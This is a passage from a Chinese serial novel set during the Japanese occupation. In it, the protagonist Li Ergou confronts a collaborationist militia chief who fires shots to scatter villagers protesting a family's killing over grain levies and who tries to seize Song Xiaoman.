交粮纳税本是乡里规矩,可此次征粮属于层层加码,早已压得百姓喘不过气。 人家只是无力交粮,稍稍抗拒,何至于闹出三条人命? 打人致死、辱人妻女、逼死母女,桩桩件件,残忍至极,毫无人性。 日本人横行霸道,欺压百姓,已经足够让人恨得牙痒痒。 可这个保长,身为本土乡里管事的人,不仅不想着护着乡亲,反而仗着手里那点小小的权力,肆意残害同乡,作恶多端,心肠歹毒程度,比那些烧杀抢掠的日本鬼子还要可恨! 李二狗眼底瞬间凝满了寒意,周身的气息骤然变冷,眉眼间覆上一层浓重的戾气。 在江东这片地界,他可以容忍世道不公,可以容忍乱世疾苦,却绝不容许这种残害百姓、草菅人命的恶人生存。 谁敢在他眼皮子底下如此祸乱乡里、残害无辜,他就绝对不会轻饶! 李二狗有这个实力! 第750章 “反对征粮” 李二狗压着心底翻涌的怒火,嗓音冷得发沉,咬牙问道:“这个畜生,叫什么名字?” “秦寿。”张二驴立刻答道,“大田庄的保长,就是他干的好事。” “张小发是什么态度?”李二狗紧接着追问了一句。 如今凤凰镇维持会的会长张小发,是从前凤凰镇民团队长张大发的亲弟弟。 兄弟俩都是一样的品性,但哥哥张大发好歹还算有一些底线,做事懂得留几分情面,可这个张小发,是个实打实的铁杆汉奸。 自从日本人来了之后,他便第一时间投靠过去,靠着谄媚讨好日本人,坐稳了凤凰镇维持会会长的位置。 这段时日以来,他一直帮着日本人助纣为虐,坏事做尽,心肠比他哥哥还要阴狠歹毒百倍不止。 张二驴冷“哼”一声,满是气愤地说道:“还能有什么态度?全力袒护那个秦寿!” “他对外颠倒黑白,说那户人家是抗拒皇军征粮,蓄意闹事,先动手打人,秦寿是依规矩办事。还说母女俩自尽,是自知理亏,跟秦寿半点关系都没有!” “现在整个大田庄的老百姓全都怒了,个个义愤填膺,聚集在凤凰镇维持会门口,堵着大门讨公道,要他们交出秦寿,给三条人命一个说法!” 听完这番话,李二狗胸中的怒火更盛。 他抬眼望向漆黑的夜空,夜色浓郁,星月黯淡,已是深更半夜。 他心里十分通透。 大田庄的百姓聚众抗议,表面上是为惨死的一家三口鸣不平、讨公道,实则是积压已久的怨气彻底爆发。 最近日本人层层加码征粮,赋税越来越重,压得所有百姓喘不过气。 人人心里都憋着一股惧意和怨气。 今日秦寿能因为不交粮就活活打死人、逼死母女,明日就有别的保长效仿,随意草菅人命。 所谓兔死狐悲,物伤其类。 今日倒下的是别人家,明日遭殃的,可能就是自己,就是自家妻儿老小。 百姓们怕了,也忍够了,这才连夜聚集起来,拼死抗议。 可他心里更清楚,张小发绝非善类。 此人心狠手辣,格局狭小又极度自负,手里还养着一群专门帮他作恶的爪牙打手。 平日里在镇上横行霸道、欺压乡民,没人敢惹,手上早就沾了不少百姓的苦楚。 如今百姓聚众闹事,以他的性子,绝对不会善罢甘休。 一旦冲突升级,这群手无寸铁的百姓,必定要吃大亏,闹出更大的流血事端。 绝对不能任由局势继续恶化下去。 李二狗压下满腔怒火,当机立断道:“走,咱们去凤凰镇看看。” 张二驴闻言,脸上瞬间露出笃定的神色。 他跟了李二狗这么久,最清楚他的性子,知道他素来护着乡里百姓,遇上这种冤屈惨案,绝不会坐视不理,必定会出面管到底。 他早就提前做好了准备,特意从胡家大院多牵了一匹马备用。 李二狗走出院门,一眼就看见门口墙根下拴着两匹骏马,马匹安静立在夜色里,随时可以启程。 他脸上没有半点意外,神色平静如常。 张二驴心思缜密,做事向来周全。 若是连这点未雨绸缪的本事都没有,他也不会一直把张二驴带在身边并委以重任。 两人不再多言,各自翻身上马,拉紧缰绳。 马蹄踏破深夜的寂静,两道身影趁着浓重夜色,策马疾驰,顺着大路直奔凤凰镇而去。 冷风在耳边呼啸而过,沿途的夜色飞快倒退,一路疾驰,片刻不敢停歇,没多久,两人便赶到了凤凰镇维持会门口。 即便已是深更半夜,此地却半点没有深夜的冷清死寂。 凤凰镇治安维持会宽阔的大门前,早已挤满了密密麻麻的百姓,人山人海,黑压压的一片,一眼望不到头。 大家手里都举着燃烧的火把,一簇簇火光熊熊跳动,明亮的火光染红了整片夜空,也照亮了一张张满是愤怒的乡民脸庞。 人群涌动,群情激奋,震天的口号声此起彼伏,一遍遍响彻黑夜,带着无尽的悲愤。 “把秦寿交出来!” “杀人偿命!” “把秦寿交出来!” “杀人偿命!” …… 一声声呐喊层层叠叠,汇聚成一股巨大的声浪,狠狠地撞击在维持会紧闭的大门上。 凤凰镇治安维持会厚重的黑漆大门死死紧闭着,门内一片死寂。 张小发躲在高墙大院里头,任由门外百姓悲愤呐喊,始终置之不理。 李二狗心里却感受到一股浓浓的杀意。 张小发绝不是忍气吞声之人,此时里面越安静,反而会越危险。 李二狗勒住马缰,停在人群外围,目光沉沉地扫过眼前黑压压的人群,看着一张张愤怒的面孔,心底的怒意久久难平。 就在他凝神扫视人群的时候,身侧的张二驴突然压低声音,带着一丝诧异说道:“狗哥,快看那边!那不是三奶奶吗?” 这一声提醒,瞬间吸引了李二狗的所有注意力。 他顺着张二驴示意的方向定睛看过去。 目光穿透涌动的人群和跳跃的火光,精准地落在人群中央。 看清那人身影的瞬间,李二狗整个人彻底怔住了。 方才赶路的急促、心底的怒火、对恶人的憎恶,全都在这一刻尽数褪去,脑子里一片空白,只剩下猝不及防的愕然。 真的是她。 人群中央那个身姿挺拔、跟着一众百姓一同振臂呼喊的人,正是他满心挂念的宋小曼! 他方才还在家中,忧心她的伤势。 万万没有想到,深夜置身这群激愤百姓之中,带头呐喊讨公道的人,竟然是她。 她站在人群中央实在是太显眼了! 显眼也就意味着危险! 一旦危险降临,她首当其冲。 “反对征粮!” “我们要生存!” “反对征粮!” “我们要生存!” …… 人群中呼喊的口号变成了反对征粮,反对征粮就是反对日本人,李二狗心里一阵发麻。 也许张小发一直等得就是这个机会。 杀死几个反对日本人的老百姓,日本人不仅不会追责,反而会大加奖赏。 “吱咛”一声,凤凰镇治安维持会那扇黑漆漆的大门打开了。 第751章 “女共党” 漆黑的深夜里,“哗啦”一阵响动过后,四五个身穿黑衣的男子齐刷刷地冲了出来。 这些人个个面色凶悍,他们手里都端着上了膛的长枪,枪口黑漆漆的,冷冷地对着门前聚集的百姓,浑身带着一股子仗势欺人的凶横气焰。 这群人都是凤凰镇十里八乡出了名的泼皮流氓,如今都被张小发豢养起来,成了他的爪牙。平日里他们在镇上横行霸道,帮着维持会欺压乡里,手上没少沾老百姓的委屈。 紧随在这一众黑衣人身后,张小发慢悠悠地踱了出来。 今晚他穿了一身笔挺的黑色短袄,头上戴着一顶日本人赏赐的黄不拉几的日军军帽,腰里束着一条宽皮带,脑袋抬得老高,一双三角眼微微眯着,满脸都是不可一世的嚣张。 他右手攥着一把王八盒子手枪,枪身磨得发亮,在火把摇曳的光影里透着一股刺骨的寒意。 还没等底下喧闹的百姓反应过来,张小发手腕一扬,抬手对着漆黑的夜空,直接扣动了扳机。 “砰!砰!” 两声刺耳的枪响骤然响起,尖锐的枪声撕裂了深夜的喧嚣,震得在场所有人的耳朵嗡嗡作响。 原本口号震天的人群,像是被人突然掐住了喉咙,瞬间死寂下来。 方才还此起彼伏的呐喊声、怒骂声,眨眼间便消失得干干净净。 满场的百姓你看我、我看你,人人脸上都带着惊惧,下意识地屏住呼吸,连身子都忍不住微微发颤。 夜色下,火把依旧噼里啪啦地燃烧着,火光映照着一张张惶恐又愤怒的脸,却再无一人敢出声。 看着瞬间被枪声镇住的百姓,张小发脸上的得意之色更浓了。 他单手端着王八盒子,手腕微微下压,冰冷的枪口缓缓移动,从左到右,一一扫过底下黑压压的人群,每对准一个人的方向,那人便下意识地低头往后缩身,根本不敢与他对视。 枪口的寒意仿佛直直抵在众人的胸口,压迫感铺天盖地压了下来。 张小发扯着嗓子,用一副蛮横至极的腔调厉声喝问道:“刚才是谁在喊反对征粮?有种的,现在就给老子站出来!” 这句话带着赤裸裸的威胁和恐吓。 底下却鸦雀无声,连一丝多余的动静都没有。 在场的老百姓,个个心里都憋着一股滔天的怨气。 大田庄三条人命白白枉死,秦寿仗着保长的身份草菅人命、辱人妻女,张小发颠倒黑白、包庇恶人,日本人层层加码的粮税压得家家户户活不下去,谁心里不是又恨又屈? 可恨归恨,屈归屈,人心底最深处,藏着的是乱世小人物最真实的怯懦。 大家伙心里都明白,再苦再难,眼下好歹还都活着。 这年月,活着才是最重要的。 维持会手里有枪有人,背后还有日本人撑腰。 此刻谁敢站出来出头,便是公然顶撞维持会。 当然,最吓人的罪名还是对抗“皇军征粮”,那是要杀头的! 枪子无眼,真要是硬顶上去,下一秒就可能当场毙命,白白丢了一条性命,连个说理的地方都没有。 为了给别人讨个公道而丢掉性命,家里的老人孩子谁来管? 没人愿意做这个白白送命的出头鸟,说白了,大家都是一起来给彼此壮声势的。 满场百姓低着头,虽然攥紧了拳头,却没有一个人敢应声,更没有一个人敢往前迈出一步。 死寂沉沉的场面,让张小发愈发嚣张狂妄。 他嘴角一扯,露出一抹阴恻恻的狞笑,三角眼里满是鄙夷和不屑,高声讥讽道:“都怎么了?刚才还喊得震天响,一个个神气活现、吊炸天的样子,这会儿全都变成哑巴了?” “你们刚才不是挺能闹、挺敢喊的吗?都他娘的是一群孬种!” 众人恨得牙痒痒,却没有一个人敢上前,张小发也愈加狂妄。 他往前踏出一步,枪身再次微微抬起,语气狠戾至极:“我看你们这群刁民,是活腻歪了!竟然敢到维持会门前聚众闹事,竟然敢公然反对皇军的命令!我现在就是把你们这群刁民一个个就地正法,皇军不仅不会怪罪,还会给我发个勋章!” 屈辱、愤怒、无奈,全都重重地压在所有村民的心头,人群微微涌动,却依旧无人敢言语,只能在心里默默忍受着这份欺压。 就在这令人窒息的死寂里,一道清亮又坚定的女声,陡然从人群正中冲破压抑,铿锵响起。 “杀人偿命!把杀人凶手秦寿交出来!” 声音不大,却字字有力,穿透全场,压过了夜里的风声,直直地撞在所有人的耳朵里。 众人闻声纷纷抬头退让,拥挤的人群自动向两边分开一条通道。 宋小曼身姿挺拔,一袭素色衣衫,不卑不亢地从人群里缓步走了出来。 不远处的暗处,李二狗将眼前的一幕看得清清楚楚。 他浑身猛地一颤,一股慌乱情绪瞬间涌上心头。 他方才一直在观望局势,本打算看清形势之后再出面,却没想到宋小曼突然站了出来。 他终究还是慢了一步。 不等他出手,宋小曼已经主动站了出来,孤身一人直面持枪的张小发和一众凶悍爪牙。 火光摇曳,尽数落在宋小曼身上,她身形单薄,却站得笔直,没有半分畏缩,一身风骨凛然,硬生生压过了周遭的凶戾之气。 另一边,嚣张跋扈的张小发,看见人群中走出这么一个仙女一样的美人儿,眼神瞬间直了。 他平素见惯了乡下的粗野妇女,个个灰头土脸,从没见过容貌这般清丽且气质如此出众的女子。 眼前的宋小曼,眉眼干净,身姿端正,神色清冷又坚定,浑身透着一股普通乡野妇人绝没有的气度,从容又傲骨,一眼看去,绝对不是寻常农家百姓家的女人。 张小发那双原本浑浊的眼睛里瞬间闪过一丝精光,脑子里飞快转着歪心思。 突然,一个念头猛地跳了出来——这个女人肯定是女共党。 第752章 心痒难耐 这年头,常有一些地下党游走在乡镇之间,暗中鼓动百姓反抗日本人和维持会。 以眼前这个女子的气度和胆量,绝非普通乡民所能比。 这个念头一冒出来,张小发心里瞬间燃起了浓浓的贪欲。 他太清楚日本人的心思,他们最痛恨地下党,若是能亲手抓住一名女共党送交上去,必定是天大的功劳。 到时候,日本人定会重重嘉奖,官位、钞票定会源源不断,一辈子吃香的喝辣的。 巨大的贪欲瞬间让他心痒难耐,眼底的贪婪藏都藏不住。 他极力压下心里的狂喜,装作一副若无其事的样子,上下打量着宋小曼,故作试探地问道:“你是哪个村的?我在凤凰镇这么多年,怎么从来没有见过你?” 宋小曼抬眼直视着他,面对黑洞洞的枪口,脸上没有半点惧色,只是勾起一抹带着极致轻蔑的笑意:“我是哪个村的不重要!重要的是你必须立刻把杀人凶手交出来,如果今晚不交出来,我们凤凰镇的百姓绝不答应!” 这话说的掷地有声,没有半分退让。 张小发愣了一下,紧接着像是听见了天底下最荒唐最好笑的笑话一般,仰头放声大笑起来。 “哈哈哈……” 身后的几个爪牙也跟着一起放声大笑,他们粗狂而又猥琐的笑声响彻在维持会门前,满是讥讽和狂妄。 张小发笑了许久,笑得眼泪都出来了,这才缓缓收住声音,眼神轻佻又阴狠地扫过宋小曼,满脸不屑地质问道:“你们不答应?我倒要问问你们,你们不答应,又能把老子怎么样?” 张小发这话说的底气十足,他手里有枪,身边有爪牙,背后还有日本人撑腰,区区一群手无寸铁的百姓,外加一个柔弱女子,根本不被他放在眼里。 “再者说,”张小发挑眉狡辩,语气无赖至极,“我这维持会里,根本没有你们说的什么杀人凶手,你让我交什么人?” 这番颠倒黑白的无赖说辞,无耻至极,听得人牙根发痒。 宋小曼眼神一凛,寸步不让,她当场厉声质问道:“大田庄保长秦寿,当众打死百姓、辱杀妇孺,人人皆知!他犯下如此滔天大罪,事后躲进你们维持会里,你敢说你不知情?敢说他不在这里?” 张小发脸上神色不变,故意瞪大双眼,装作一脸茫然的模样,假意惊讶道:“秦寿?秦寿他怎么会是杀人凶手呢?这事我可是一点都不知道。” 这话摆明了他就是要包庇恶人,死不认账。 宋小曼眼神愈发坚定,气场稳稳地压住对方,声音也愈发响亮:“他是不是杀人凶手,不是你一张嘴就说了算的!你现在立刻把秦寿交出来,我们要和他当面对质,当着所有乡亲的面,把事情说清楚!” 她这番话,瞬间点燃了百姓心底残存的怒火。 方才被枪声震慑而不敢出声的村民,此刻看着孤身毫不畏惧的宋小曼,心底的愧疚和愤怒一并翻涌上来,再次鼓起勇气,纷纷跟着呐喊起来。 “对!把秦寿叫出来!” “让秦寿出来认罪!” “交出杀人凶手!” “交出杀人凶手!” …… 一声声呐喊再次此起彼伏地响起,人群的气势稍稍回升,再次朝着维持会施压。 眼见百姓声势再起,张小发脸上的笑意瞬间收敛,眼底只剩狠戾。 “砰!砰!” 又是两声清脆刺耳的枪响骤然响起。 威慑力十足的枪声再次压过人群的呐喊,沸腾的人群瞬间又一次陷入死寂,所有声音戛然而止,没人再敢多说一句。 张小发手持王八盒子,一脸的凶神恶煞,他高声呵斥道:“我最后再重申一遍!秦寿没有杀人,他不是杀人凶手!而且现在他人根本就不在维持会里!” 张小发的谎话张口就来,毫无半分愧疚,无耻嘴脸展露无遗。 宋小曼丝毫没有被他的枪声震慑,迎着对方的枪口,依旧目光锐利,直直地盯着张小发,直接逼问道:“你敢让我们进入维持会搜查吗?若是搜不到人,我们立刻离开!” 张小发冷嗤一声,蛮横地呵斥道:“你好大的胆子!凤凰镇治安维持会,是皇军亲自设立的机关重地,是你一个平头小老百姓说搜就能搜的地方吗?简直是不知天高地厚!我让你进你敢进吗?你们敢进吗?” 张小发环视百姓一圈,无人敢出声反驳。 他冷笑一声,突然往前踏出一步,高大的身影瞬间逼近到宋小曼身前,两人的距离近在咫尺。 他一双三角眼死死地盯着宋小曼的眼睛,目光毒辣又审视,带着一股浓浓的恶意,沉声逼问道:“你到底是什么人?” 深夜带头聚众闹事,胆识远超寻常女子,言辞干脆又利落,这样的女人必定身份不简单。 宋小曼神色坦荡,丝毫没有被他的气势压住,冷静回击道:“我是什么身份和秦寿杀人行凶,你包庇恶人的事,没有半点关系!我们现在只要你交出杀人凶手,给大田庄三条枉死的人命一个公道!” “公道?”张小发冷笑一声,眼神愈发猥琐阴狠,上下打量着宋小曼,语气极尽污蔑。 “你一个女人家,深更半夜不居家安分守己,却跑到这里来带头聚众闹事,煽动刁民对抗维持会对抗大日本皇军。单凭这一点,就看得出来你不是什么安分守己的良家妇女!” 说到这里,他眼神一厉,抬起右手,在宋小曼身前悄悄比划了一个“八”的手势,动作虽然隐晦却带着十足的威胁。 宋小曼眼底瞬间闪过一丝微不可察的变化,脸色微微一沉。 她当然知道这个手势代表着什么意思。 张小发死死盯着她的神色变化,宋小曼虽然极力保持镇定,但脸颊上肌肉的微微颤动还是控制不住地表露出来。 张小发笃定了心中的猜测,脸上露出志在必得的狞笑:“你装作不懂吗?没关系,哈哈!等我把你抓起来,亲手交给皇军,日本人有的是法子让你老老实实交代清楚自己的身份!” 第753章 放开那个女人! 宋小曼下意识地往后退了两步,眼神里露出一丝恐惧,厉声质问道:“你……你想干什么?” 她刚刚才从日军宪兵队的大牢里被救出来,她知道日本人的手段,现在一旦再被抓进去,后果不堪设想。 不仅她自身难保,还会牵连到更多的人,包括李二狗,那个让她又爱又恨的男人。 张小发看出了她眼神里细微的慌乱,心底愈发得意,满脸淫邪凶狠。 “干什么?哼哼,自然是把你抓起来,交给皇军领赏!一个女共党,哈哈,皇军肯定会喜欢。” 到这一刻,宋小曼终于彻底看清了对方的险恶用心。 她万万没有想到,自己只是为穷苦百姓讨要一个公道,竟然就被张小发一眼看穿了身份,看来自己对敌斗争的经验还是太稚嫩了。 她厉声斥责道:“你为了包庇杀人凶手,为了掩盖自己的私心,竟然凭空捏造谎言!张小发,你实在是太卑鄙无耻了!” 说完,她不再理会张小发,猛地转头看向身后一众畏畏缩缩的百姓,用尽力气高声呐喊道:“乡亲们!我们只要公道!今晚必须让他们交出杀人凶手!” 被她的大义凛然所感染,百姓们再次鼓起勇气,跟着齐声呐喊道:“交出杀人凶手!” 一声声呐喊再次响起,可气势早已不如方才,人人心底都藏着恐惧。 张小发被他们反复的行为彻底惹恼了,耐性也彻底耗尽。 “砰!砰!” 又是两声枪响骤然炸开,带着极致的暴戾和恐吓。 喧嚣再次瞬间散去,全场死寂一片。 张小发面目狰狞,扯着嗓子恶狠狠地威胁道:“谁再敢聚众闹事,聒噪不休,老子今晚就把你们所有人全都抓起来,统统交给日本人!告诉你们,皇军养的大狼狗,这些天正缺肉吃,正好拿你们这群闹事的刁民填肚子!” 赤裸裸的恐吓,瞬间击溃了本就胆小怕事的百姓。 乱世百姓最惜命,也最怕事。 面对真枪实弹的威胁,面对送交日本人喂狼狗的恐吓,没人再敢坚持所谓的公道。 毕竟和自己的性命比起来,别人的公道并不是不可或缺。 人群瞬间出现了大面积松动,前排的人率先转身,低着头、弯着腰,趁着夜色慌忙逃窜。 看到前面的人挤向后面,后面的人也不甘落后,也纷纷转身快速离开了现场, 片刻之间,原本挤满整条街道的百姓,跑的跑、躲的躲、溜的溜,转眼就散去了一大半。 剩下寥寥几个没跑的,也全都缩在远处角落里,瑟瑟发抖,不敢抬头,更不敢出声。 偌大的维持会门前,转瞬空旷大半,只剩下孤身挺立的宋小曼,孤零零站在火把之下。 看着百姓四散逃窜无人敢出头的模样,张小发愈发嚣张狂妄。 他再次把目光落在宋小曼身上,细细打量着她清丽倔强的眉眼和挺拔不屈的身姿,心底的那份邪念和贪欲彻底翻涌上来。 他越看越觉得眼前这个女子容貌出众、气质脱俗,比起镇上所有女人都要强上百倍千倍,简直如同仙女一般。 馋得他直流口水。 他眼底的贪色之意再也藏不住,满脸的猥琐。 这深更半夜,百姓已尽数逃窜,只要把她抓进维持会里,关门落锁,任凭她再倔强再刚烈,终究只是一个孤身女子,绝翻不出他的手掌心。 到时候自己软硬兼施、威逼恐吓,不怕她不屈服。 先好好把玩占了她的身子,享尽美色,之后再把她当做共党嫌疑人送交给日本人领赏。 财色双收,一举两得! 这般龌龊无耻、阴狠淫邪的念头在心底成型,张小发的嘴角不自觉勾起一抹令人作呕的淫邪笑容,眼底满是贪婪和恶毒。 他不再迟疑,厉声下令道:“来人!把这个女人给我抓起来!” 守在两侧的两个黑衣爪牙闻声立刻上前,动作麻利凶悍,一左一右,死死地扭住了宋小曼的两条胳膊。 冰冷粗糙的大手死死地钳制住她,力道极大,勒得她胳膊生疼,根本动弹不得。 “你们要干什么?放开我!赶紧放开我!” 宋小曼奋力挣扎,双肩用力晃动,腰身不停扭动,眼神刚烈,依旧没有半分求饶,只有满心的愤怒和不甘。 可她一介女子,力气终究有限,根本挣脱不开两个壮汉的钳制,所有的挣扎都是徒劳。 她越是挣扎,越是刚烈倔强,张小发看着就越是兴奋,眼底的淫笑也愈发浓郁。 他一脸得意地看着被制服的宋小曼,嚣张下令道:“带走!把这个女人带到老子房间,老子今晚要亲自好好审审她!哈哈……” 两个黑衣打手押着不停挣扎的宋小曼,抬脚就往维持会那扇黑漆漆的大门里走去。 眼看着宋小曼就要被张小发带入魔窟,就在这千钧一发的危急关头,身后突然传来一个男人的声音,那声音穿透夜色,令人颤抖! “放开那个女人!” 声音不大却带着碾压一切的压迫感。 刚刚还嚣张狂笑的张小发瞬间僵住,两个黑衣打手也不自觉地停下脚步,所有人的目光从看向声音来源的地方。 一直强撑着的宋小曼,在听见这道熟悉、安稳带着庇护感的声音瞬间,紧绷了整晚的心弦突然断裂,所有的坚强在这一刻尽数崩塌。 温热的泪水瞬间夺眶而出,顺着脸颊无声滑落。 绝境之际,又是那个人,从天而降,踏夜而来。 “谁在说话?” 张小发听着这个声音很熟悉,却看不清对方的面目。 李二狗没有回话,而是从黑暗中慢慢走了出来。 “李……李管家。” 在江东县,你可以不认识孙竹刚,却绝不能不认识李二狗。 李二狗一直保持着微笑,就像他平素惯有的样子,慢慢地走到张小发跟前。 张小发不明白李二狗为何此时突然出现,他满脸堆笑,极尽谄媚。 “李管家,您怎么来了?” 李二狗没有说话,突然扬起手,“啪啪”给了他两个大嘴巴子。 第754章 连个屁都算不上 突如其来的一个耳光把张小发彻底打懵了。 火辣辣的疼痛感停留在他的脸上,张小发的半边脸颊高高肿起,又烫又麻,可他满腔的怒火和恨意,却被他硬生生压在了心底。 不为别的,只因为打他的人是李二狗,一个他绝对惹不起的人物。 张小发旁边的一个爪牙是新来的,他并不认识李二狗,此刻见来人二话不说就打了张小发,便想表现自己对张小发的忠心。 “你他妈的敢打我们会长?我看你小子是活得不耐烦了!” 他说着便举起手中的步枪对准了李二狗。 李二狗只是微微一笑,他既没躲也没说话,只是一脸笑意地看着张小发,张小发没有丝毫犹豫,上前一巴掌打在这个爪牙脸上。 “放肆!竟敢对李管家无礼?你他娘的活得不耐烦了?快把枪放下!” 爪牙本想表现自己对张小发的忠心,没想到却挨了他结结实实一个耳光,当即委屈的直掉眼泪。 张小发根本无暇顾及爪牙的感觉,他眉眼间的阴鸷快速散去,换上一副唯唯诺诺的模样,看向一脸冷酷的李二狗,有些不解又无奈地问道:“李管家,您这是……这是做什么啊?为何生如此大的气?” 面对李二狗,他不敢发怒,更不敢反抗。 方才李二狗那一巴掌打的力道极狠,可比起皮肉的这点疼痛,更让他胆寒的是眼前这个男人身上那股压得人喘不过气来的气场。 李二狗就那样静静地站在那里,没有说话,甚至连神色都没有任何起伏,可周身弥散的那股冰冷戾气,却像寒冬里的寒冰,冰封万物,让他连呼吸都觉得拘谨。 不等李二狗开口,身后的张二驴已然跨步上前,双目圆睁,对着眼前一众黑衣爪牙厉声喝骂起来。 “真是瞎了你们这群狗东西的眼!睁大你们的狗眼好好看清楚!这位是我们胡家大院的三奶奶,你们也敢随便动手捉拿?还不赶紧松开你们那双脏手!” 话音落下,张二驴脚步飞快,几步就冲到宋小曼身前。 方才死死钳住宋小曼双臂的那两个黑衣爪牙,早在李二狗现身的那一刻就已经吓得魂飞胆颤,脸上的凶悍戾气瞬间消散得干干净净。 此刻被张二驴当众喝斥,两人更是吓得浑身一哆嗦,脸色煞白,慌忙松开扣在宋小曼胳膊上的手,下意识往后退了两步,垂首低头,连抬头直视的胆子都没有。 张二驴转头看向身前的宋小曼,语气里满是愧疚和恭敬,他微微躬身致歉道:“三奶奶,是我们来晚了一步,让您受委屈了。” 一旁的张小发彻底懵在了原地,脑子里轰然一响,后背瞬间冒出一层细密的冷汗。 他怎么也没有想到,这个深夜带头聚众抗议,被他认定是共产党的美丽女子,竟然是胡家大院的三姨太! 关于胡家大院,关于李二狗的传闻,他在江东地界已经听得太多太多。 自打胡家大院的胡士高病逝之后,偌大的胡家产业尽数落到了李二狗手里。 在江东早就传遍了,胡士高留下的几房姨太太,最后全都被李二狗收入囊中,成了他的枕边人。 如此看来,这位容貌清丽的三奶奶,也是李二狗放在心尖上护着的人,一定是他的相好! 今夜自己被猪油蒙了心,不仅当众持枪恐吓,还让人动手捉拿,甚至动了龌龊的色心,险些酿成滔天大祸。 一念至此,张小发心底又是后怕又是悔恨,后背的冷汗浸透了里衣,浑身汗毛都竖了起来。 他在凤凰镇做维持会会长,看似风光无限,手握一方治安大权,手下有兵有枪,旁人见了都要恭敬几分。 可他心里比谁都清楚,自己这个维持会会长,在李二狗眼里,压根不值一提,甚至连蝼蚁都算不上。 说句难听的,连个屁都算不上。 整个江东谁不知道李二狗的分量? 他不仅是胡家大院的实际掌权人,手里握着胡家积攒多年的家底,更是县长孙竹刚拜把子的好兄弟。 官面上的路子,他走得通、吃得开,连日本人都要给他三分薄面。 不只如此,传言李二狗私下里还和清风寨的上千土匪有着扯不清道不明的隐秘关联。 清风寨如今改名清风集团,但还是土匪窝子,他们盘踞山林,人马众多,在江东地界无人敢惹。 真要是得罪了李二狗,对方根本不用自己动手,只需一句话,清风寨的土匪弄死他一个小小的凤凰镇维持会会长,比碾死一只蚂蚁还要容易。 恐惧彻底笼罩了张小发,他再也没有了刚才那般嚣张狂妄的气焰,取而代之的是极致的谄媚。 他连忙快步上前,佝偻着身子,点头哈腰,对着宋小曼连连拱手赔笑。 “哎呦!三奶奶!实在是对不住,对不住啊!这可真是大水冲了龙王庙,一家人不认得自家人!” “刚才都是小的有眼无珠,瞎了狗眼,冒犯了您,多有得罪,您可千千万万别往心里去啊,千万别生气,全是误会,全是误会啊!” 他脸上堆满了虚伪的笑意,恨不得当场给宋小曼磕头赔罪。 宋小曼看着张小发这前倨后恭、变脸比翻书还快的丑陋模样,心底只剩下无尽的鄙夷。 她轻轻地冷哼一声,连多瞥他一眼的兴致都没有。 她目光一转,朝着李二狗走了过去。 李二狗一直安安静静地站着,一言不发。 他没有多余的言语,没有多余的神色,可身上那股不怒自威的强大气场,始终牢牢压制着全场,让张小发一众人心底始终悬着一块巨石。 在外人面前,李二狗向来分寸拿捏得极好,不露半分私情。 见宋小曼走到自己身前,他担心她当众失态,便赶忙问道:“三奶奶,您没事吧?” 李二狗已经很久不叫她三奶奶了,宋小曼抬眼望着他。 此刻的李二狗,面色严肃,一本正经,全然是一副公事公办的模样,半点看不出私下里的温情。 第755章 颠倒黑白 宋小曼看着李二狗那副故作正经的样子,心里又暖又想笑。 明明方才他现身的那一刻,满眼都是护着她的急切,此刻却端起了规矩。 心底的笑意憋在喉咙里,不敢外露,她只能轻轻地点了点头,示意自己无碍。 李二狗的目光再次看向弯腰谄媚的张小发。 “张小发,你小子最近胆子真是越来越大了,本事也是越长越高了。胡家大院的人,你也敢随意动手擒拿?你信不信,我现在就能送你下去,跟你哥哥张大发团聚?” 他话语平淡,没有嘶吼,没有暴怒,可每一个字都带着致命的威慑。 张小发浑身猛地一震,腿脚瞬间有些发软,额头的冷汗顺着脸颊往下淌。 他太清楚自己亲哥哥张大发是怎么死的。 当年张大发执掌凤凰镇民团,也算一方人物,最后就是因为得罪了李二狗,落得个惨死收场的下场。 这么多年来,他心里比谁都清楚兄长的死因,心底深处早就积压了滔天的恨意,无时无刻不在记恨着李二狗。 可恨意归恨意,不甘归不甘,张小发是个极度识时务的人。 他懂得审时度势,懂得隐忍蛰伏,更懂得什么人能惹、什么人万万碰不得。 眼下的自己,权势、人脉、武力,没有一样能和李二狗抗衡。 正面冲突,等同于以卵击石,纯属找死。 所有的恨意和不甘,只能死死地压在心底最深处,半点都不敢表露出来。 他连忙再次躬身,姿态愈发卑微,语气惶恐至极,连连认错道:“李管家,是我的错!全都是我的错!是我有眼不识泰山,被猪油蒙了心,无意中冒犯了三奶奶,冒犯了您,求您大人有大量,多多包涵,饶我这一次吧!” 看着他毫无骨气的卑微模样,李二狗眼底冷意更甚,语气却依旧平稳。 “我们三奶奶向来心善,嫉恶如仇,从不无故生事,更不会无端为难旁人。今夜她为一众素不相识的村民出头,闹到你维持会门前,定然是遇上了她实在看不下去的事情。” “张小发,我问你,你到底做了什么伤天害理的事情,能把我们三奶奶逼得如此动怒?” 这番话看似寻常,实则藏着李二狗十足的考量。 他心里明白,今夜这事看着简单,实则处处藏着隐患。 深更半夜,胡家大院堂堂三奶奶,一介女流却带着一众乡民围堵维持会,这事要是传出去,难免惹人非议,滋生出无数流言揣测。 有心人若是借机做文章,往宋小曼身上安插身份,再捅到日本人那里,后果将不堪设想。 他这番刻意说辞,就是要当众给宋小曼寻找一个合理的理由,把她深夜带头抗议的举动,定义为嫉恶如仇,而非反对维持会对抗日本人,以此来堵住悠悠众口,提前帮她开脱所有的嫌疑。 张小发不是傻瓜,他的心思极其缜密,绝不是蠢货,他瞬间就看透了李二狗的用意。 李二狗是想借着这番话,为宋小曼开脱,抹去她身上所有的可疑。 可越是这样,张小发心底的疑虑就越深。 一个养在深宅大院衣食无忧的地主家的姨太太,本该不问世事,好好享受荣华富贵,根本没必要冒着得罪日本人的风险为一群素不相识的乡下泥腿子出头。 寻常女人,绝对做不出这种事,也绝对没有这份胆识。 这只能说明,宋小曼的身份,绝对不简单,她的背后,定然藏着不为人知的秘密。 哪怕心底疑虑重重,可当着李二狗的面,张小发半个字的怀疑都不敢流露出来。 他太了解李二狗的脾气,此人看似沉稳冷静,实则性情乖戾,眼里容不得半分忤逆。 若是自己此刻触了他的逆鳞,今晚绝对没有好下场。 思忖之下,张小发继续摆出一副诚恳认错的模样。 “李管家,真的就是一场误会。大田庄的保长秦寿,奉命下去征收皇军的公粮。乡民抵触,有一户人家情绪太过激烈,公然暴力抗征,拒不纳粮,还当众动手打人。” “双方拉扯过程中,那户人家的男人不小心头撞到墙上,竟意外撞死了,这纯属意外,根本不是人为殴打致死。秦寿只是奉命行事,恪尽职守,半点过错都没有啊。” 张小发把秦寿的责任摘得一干二净,把所有过错全都推到了已经死亡的乡民身上。 